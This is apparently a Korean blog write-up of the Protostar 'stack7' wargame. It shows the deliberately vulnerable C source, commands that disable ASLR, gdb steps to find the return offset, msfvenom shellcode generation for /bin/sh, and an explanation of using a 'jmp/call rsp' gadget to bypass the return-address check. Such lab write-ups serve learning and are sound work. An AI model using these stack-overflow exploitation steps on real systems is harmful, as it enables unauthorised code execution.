프로토스타

[프로토스타] stack7-1 (jmp call)

-dP- 2019. 1. 15. 16:21

stack7.c


#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> char *getpath() { char buffer[64]; unsigned int ret; printf("input path please: "); fflush(stdout); gets(buffer); ret = __builtin_return_address(0); if((ret & 0xb0000000) == 0xb0000000) { printf("bzzzt (%p) ", ret); _exit(1); } printf("got path %s ", buffer); return strdup(buffer); } int main(int argc, char **argv) { getpath(); }




1. 문제 해결


1-1. aslr 끄기


echo 0 | sudo tee /proc/sys/kernel/randomize_va_space




1-2. gedit stack7.c






1-3.  gdb ./stack7







gdb ./stack7


disas main


b *main


r


print system


find /bin/sh


jmpcall rsp



1-4. offset 위치






return 위치에 브레이크 포인트


b *main+31



conti


(생성된 문자 100개)






맨 처음 스택의 위치



offset  : 88




where 혹 bt로도 


offset 확인 가능



1-5. 쉘 코드 얻기






msfvenom -p linux/x64/exec CMD='/bin/sh' -f python



나오는 버퍼값 복사한다.




1-6. 코드 작성 및 해결




위와 같이 입력하면 된다.


jmpcall rsp를 한 이유는 if문에 걸리기 때문이다.




rsp는 스택에 최상단을 가르키고 있다.



ret

shell code



스택이 이 상태라면 ret을 하게 되면 rsp가 shell code를 가리킨다.



그렇다면 shell code로 점프하게 된다면 우리는 shell의 권한을 얻을 수 있다.



그러므로 jmpcall rsp를 통해 shell code로 점프하는 것이다.



참고 자료: https://www.inflearn.com/course/%ED%94%84%EB%A1%9C%ED%86%A0%EC%8A%A4%ED%83%80/




피드백 환영입니다!